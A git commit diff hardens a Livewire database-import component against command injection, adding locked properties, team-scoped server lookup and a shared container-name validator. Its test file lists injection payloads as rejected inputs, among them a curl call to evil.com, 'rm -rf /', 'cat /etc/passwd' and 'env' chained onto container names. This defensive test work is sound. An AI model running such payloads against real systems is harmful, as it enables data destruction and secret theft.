fix(livewire): add Locked attributes and consolidate container name validation
- Add #[Locked] to server-set properties on Import component (resourceId, resourceType, serverId, resourceUuid, resourceDbType, container) to prevent client-side modification via Livewire wire protocol - Add container name validation in runImport() and restoreFromS3() using shared ValidationPatterns::isValidContainerName() - Scope server lookup to current team via ownedByCurrentTeam() - Consolidate duplicate container name regex from Import, ExecuteContainerCommand, and Terminal into shared ValidationPatterns::isValidContainerName() static helper - Add tests for container name validation, locked attributes, and team-scoped server lookup Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
This commit is contained in:
parent
0fed553207
commit
d486bf09ab
5 changed files with 158 additions and 3 deletions
|
|
@ -5,10 +5,12 @@
|
||||||
use App\Models\S3Storage;
|
use App\Models\S3Storage;
|
||||||
use App\Models\Server;
|
use App\Models\Server;
|
||||||
use App\Models\Service;
|
use App\Models\Service;
|
||||||
|
use App\Support\ValidationPatterns;
|
||||||
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
|
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
|
||||||
use Illuminate\Support\Facades\Auth;
|
use Illuminate\Support\Facades\Auth;
|
||||||
use Illuminate\Support\Facades\Storage;
|
use Illuminate\Support\Facades\Storage;
|
||||||
use Livewire\Attributes\Computed;
|
use Livewire\Attributes\Computed;
|
||||||
|
use Livewire\Attributes\Locked;
|
||||||
use Livewire\Component;
|
use Livewire\Component;
|
||||||
|
|
||||||
class Import extends Component
|
class Import extends Component
|
||||||
|
|
@ -104,17 +106,22 @@ private function validateServerPath(string $path): bool
|
||||||
public bool $unsupported = false;
|
public bool $unsupported = false;
|
||||||
|
|
||||||
// Store IDs instead of models for proper Livewire serialization
|
// Store IDs instead of models for proper Livewire serialization
|
||||||
|
#[Locked]
|
||||||
public ?int $resourceId = null;
|
public ?int $resourceId = null;
|
||||||
|
|
||||||
|
#[Locked]
|
||||||
public ?string $resourceType = null;
|
public ?string $resourceType = null;
|
||||||
|
|
||||||
|
#[Locked]
|
||||||
public ?int $serverId = null;
|
public ?int $serverId = null;
|
||||||
|
|
||||||
// View-friendly properties to avoid computed property access in Blade
|
// View-friendly properties to avoid computed property access in Blade
|
||||||
|
#[Locked]
|
||||||
public string $resourceUuid = '';
|
public string $resourceUuid = '';
|
||||||
|
|
||||||
public string $resourceStatus = '';
|
public string $resourceStatus = '';
|
||||||
|
|
||||||
|
#[Locked]
|
||||||
public string $resourceDbType = '';
|
public string $resourceDbType = '';
|
||||||
|
|
||||||
public array $parameters = [];
|
public array $parameters = [];
|
||||||
|
|
@ -135,6 +142,7 @@ private function validateServerPath(string $path): bool
|
||||||
|
|
||||||
public bool $error = false;
|
public bool $error = false;
|
||||||
|
|
||||||
|
#[Locked]
|
||||||
public string $container;
|
public string $container;
|
||||||
|
|
||||||
public array $importCommands = [];
|
public array $importCommands = [];
|
||||||
|
|
@ -181,7 +189,7 @@ public function server()
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
return Server::find($this->serverId);
|
return Server::ownedByCurrentTeam()->find($this->serverId);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function getListeners()
|
public function getListeners()
|
||||||
|
|
@ -409,6 +417,12 @@ public function runImport(string $password = ''): bool|string
|
||||||
|
|
||||||
$this->authorize('update', $this->resource);
|
$this->authorize('update', $this->resource);
|
||||||
|
|
||||||
|
if (! ValidationPatterns::isValidContainerName($this->container)) {
|
||||||
|
$this->dispatch('error', 'Invalid container name.');
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
if ($this->filename === '') {
|
if ($this->filename === '') {
|
||||||
$this->dispatch('error', 'Please select a file to import.');
|
$this->dispatch('error', 'Please select a file to import.');
|
||||||
|
|
||||||
|
|
@ -593,6 +607,12 @@ public function restoreFromS3(string $password = ''): bool|string
|
||||||
|
|
||||||
$this->authorize('update', $this->resource);
|
$this->authorize('update', $this->resource);
|
||||||
|
|
||||||
|
if (! ValidationPatterns::isValidContainerName($this->container)) {
|
||||||
|
$this->dispatch('error', 'Invalid container name.');
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
if (! $this->s3StorageId || blank($this->s3Path)) {
|
if (! $this->s3StorageId || blank($this->s3Path)) {
|
||||||
$this->dispatch('error', 'Please select S3 storage and provide a path first.');
|
$this->dispatch('error', 'Please select S3 storage and provide a path first.');
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -5,6 +5,7 @@
|
||||||
use App\Models\Application;
|
use App\Models\Application;
|
||||||
use App\Models\Server;
|
use App\Models\Server;
|
||||||
use App\Models\Service;
|
use App\Models\Service;
|
||||||
|
use App\Support\ValidationPatterns;
|
||||||
use Illuminate\Support\Collection;
|
use Illuminate\Support\Collection;
|
||||||
use Livewire\Attributes\On;
|
use Livewire\Attributes\On;
|
||||||
use Livewire\Component;
|
use Livewire\Component;
|
||||||
|
|
@ -181,7 +182,7 @@ public function connectToContainer()
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
// Validate container name format
|
// Validate container name format
|
||||||
if (! preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/', $this->selected_container)) {
|
if (! ValidationPatterns::isValidContainerName($this->selected_container)) {
|
||||||
throw new \InvalidArgumentException('Invalid container name format');
|
throw new \InvalidArgumentException('Invalid container name format');
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -4,6 +4,7 @@
|
||||||
|
|
||||||
use App\Helpers\SshMultiplexingHelper;
|
use App\Helpers\SshMultiplexingHelper;
|
||||||
use App\Models\Server;
|
use App\Models\Server;
|
||||||
|
use App\Support\ValidationPatterns;
|
||||||
use Livewire\Attributes\On;
|
use Livewire\Attributes\On;
|
||||||
use Livewire\Component;
|
use Livewire\Component;
|
||||||
|
|
||||||
|
|
@ -36,7 +37,7 @@ public function sendTerminalCommand($isContainer, $identifier, $serverUuid)
|
||||||
|
|
||||||
if ($isContainer) {
|
if ($isContainer) {
|
||||||
// Validate container identifier format (alphanumeric, dashes, and underscores only)
|
// Validate container identifier format (alphanumeric, dashes, and underscores only)
|
||||||
if (! preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/', $identifier)) {
|
if (! ValidationPatterns::isValidContainerName($identifier)) {
|
||||||
throw new \InvalidArgumentException('Invalid container identifier format');
|
throw new \InvalidArgumentException('Invalid container identifier format');
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -163,6 +163,14 @@ public static function containerNameRules(int $maxLength = 255): array
|
||||||
return ['string', 'max:'.$maxLength, 'regex:'.self::CONTAINER_NAME_PATTERN];
|
return ['string', 'max:'.$maxLength, 'regex:'.self::CONTAINER_NAME_PATTERN];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Check if a string is a valid Docker container name.
|
||||||
|
*/
|
||||||
|
public static function isValidContainerName(string $name): bool
|
||||||
|
{
|
||||||
|
return preg_match(self::CONTAINER_NAME_PATTERN, $name) === 1;
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get combined validation messages for both name and description fields
|
* Get combined validation messages for both name and description fields
|
||||||
*/
|
*/
|
||||||
|
|
|
||||||
125
tests/Feature/DatabaseImportCommandInjectionTest.php
Normal file
125
tests/Feature/DatabaseImportCommandInjectionTest.php
Normal file
|
|
@ -0,0 +1,125 @@
|
||||||
|
<?php
|
||||||
|
|
||||||
|
use App\Livewire\Project\Database\Import;
|
||||||
|
use App\Support\ValidationPatterns;
|
||||||
|
|
||||||
|
describe('container name validation', function () {
|
||||||
|
test('isValidContainerName accepts valid container names', function () {
|
||||||
|
expect(ValidationPatterns::isValidContainerName('my-container'))->toBeTrue();
|
||||||
|
expect(ValidationPatterns::isValidContainerName('my_container'))->toBeTrue();
|
||||||
|
expect(ValidationPatterns::isValidContainerName('container123'))->toBeTrue();
|
||||||
|
expect(ValidationPatterns::isValidContainerName('my.container.name'))->toBeTrue();
|
||||||
|
expect(ValidationPatterns::isValidContainerName('a'))->toBeTrue();
|
||||||
|
expect(ValidationPatterns::isValidContainerName('abc-def_ghi.jkl'))->toBeTrue();
|
||||||
|
});
|
||||||
|
|
||||||
|
test('isValidContainerName rejects command injection payloads', function () {
|
||||||
|
// Command substitution
|
||||||
|
expect(ValidationPatterns::isValidContainerName('$(curl http://evil.com/$(whoami))'))->toBeFalse();
|
||||||
|
expect(ValidationPatterns::isValidContainerName('$(whoami)'))->toBeFalse();
|
||||||
|
|
||||||
|
// Backtick injection
|
||||||
|
expect(ValidationPatterns::isValidContainerName('`id`'))->toBeFalse();
|
||||||
|
|
||||||
|
// Semicolon chaining
|
||||||
|
expect(ValidationPatterns::isValidContainerName('container;rm -rf /'))->toBeFalse();
|
||||||
|
|
||||||
|
// Pipe injection
|
||||||
|
expect(ValidationPatterns::isValidContainerName('container|cat /etc/passwd'))->toBeFalse();
|
||||||
|
|
||||||
|
// Ampersand chaining
|
||||||
|
expect(ValidationPatterns::isValidContainerName('container&&env'))->toBeFalse();
|
||||||
|
|
||||||
|
// Spaces (not valid in Docker container names)
|
||||||
|
expect(ValidationPatterns::isValidContainerName('container name'))->toBeFalse();
|
||||||
|
|
||||||
|
// Newlines
|
||||||
|
expect(ValidationPatterns::isValidContainerName("container\nid"))->toBeFalse();
|
||||||
|
|
||||||
|
// Must start with alphanumeric
|
||||||
|
expect(ValidationPatterns::isValidContainerName('-container'))->toBeFalse();
|
||||||
|
expect(ValidationPatterns::isValidContainerName('.container'))->toBeFalse();
|
||||||
|
expect(ValidationPatterns::isValidContainerName('_container'))->toBeFalse();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('locked properties', function () {
|
||||||
|
test('container property has Locked attribute', function () {
|
||||||
|
$property = new ReflectionProperty(Import::class, 'container');
|
||||||
|
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||||
|
|
||||||
|
expect($attributes)->not->toBeEmpty();
|
||||||
|
});
|
||||||
|
|
||||||
|
test('serverId property has Locked attribute', function () {
|
||||||
|
$property = new ReflectionProperty(Import::class, 'serverId');
|
||||||
|
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||||
|
|
||||||
|
expect($attributes)->not->toBeEmpty();
|
||||||
|
});
|
||||||
|
|
||||||
|
test('resourceId property has Locked attribute', function () {
|
||||||
|
$property = new ReflectionProperty(Import::class, 'resourceId');
|
||||||
|
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||||
|
|
||||||
|
expect($attributes)->not->toBeEmpty();
|
||||||
|
});
|
||||||
|
|
||||||
|
test('resourceType property has Locked attribute', function () {
|
||||||
|
$property = new ReflectionProperty(Import::class, 'resourceType');
|
||||||
|
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||||
|
|
||||||
|
expect($attributes)->not->toBeEmpty();
|
||||||
|
});
|
||||||
|
|
||||||
|
test('resourceUuid property has Locked attribute', function () {
|
||||||
|
$property = new ReflectionProperty(Import::class, 'resourceUuid');
|
||||||
|
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||||
|
|
||||||
|
expect($attributes)->not->toBeEmpty();
|
||||||
|
});
|
||||||
|
|
||||||
|
test('resourceDbType property has Locked attribute', function () {
|
||||||
|
$property = new ReflectionProperty(Import::class, 'resourceDbType');
|
||||||
|
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||||
|
|
||||||
|
expect($attributes)->not->toBeEmpty();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('server method uses team scoping', function () {
|
||||||
|
test('server computed property calls ownedByCurrentTeam', function () {
|
||||||
|
$method = new ReflectionMethod(Import::class, 'server');
|
||||||
|
|
||||||
|
// Extract the server method body
|
||||||
|
$startLine = $method->getStartLine();
|
||||||
|
$endLine = $method->getEndLine();
|
||||||
|
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
|
||||||
|
$methodBody = implode('', $lines);
|
||||||
|
|
||||||
|
expect($methodBody)->toContain('ownedByCurrentTeam');
|
||||||
|
expect($methodBody)->not->toContain('Server::find($this->serverId)');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('Import component uses shared ValidationPatterns', function () {
|
||||||
|
test('runImport references ValidationPatterns for container validation', function () {
|
||||||
|
$method = new ReflectionMethod(Import::class, 'runImport');
|
||||||
|
$startLine = $method->getStartLine();
|
||||||
|
$endLine = $method->getEndLine();
|
||||||
|
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
|
||||||
|
$methodBody = implode('', $lines);
|
||||||
|
|
||||||
|
expect($methodBody)->toContain('ValidationPatterns::isValidContainerName');
|
||||||
|
});
|
||||||
|
|
||||||
|
test('restoreFromS3 references ValidationPatterns for container validation', function () {
|
||||||
|
$method = new ReflectionMethod(Import::class, 'restoreFromS3');
|
||||||
|
$startLine = $method->getStartLine();
|
||||||
|
$endLine = $method->getEndLine();
|
||||||
|
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
|
||||||
|
$methodBody = implode('', $lines);
|
||||||
|
|
||||||
|
expect($methodBody)->toContain('ValidationPatterns::isValidContainerName');
|
||||||
|
});
|
||||||
|
});
|
||||||
Loading…
Reference in a new issue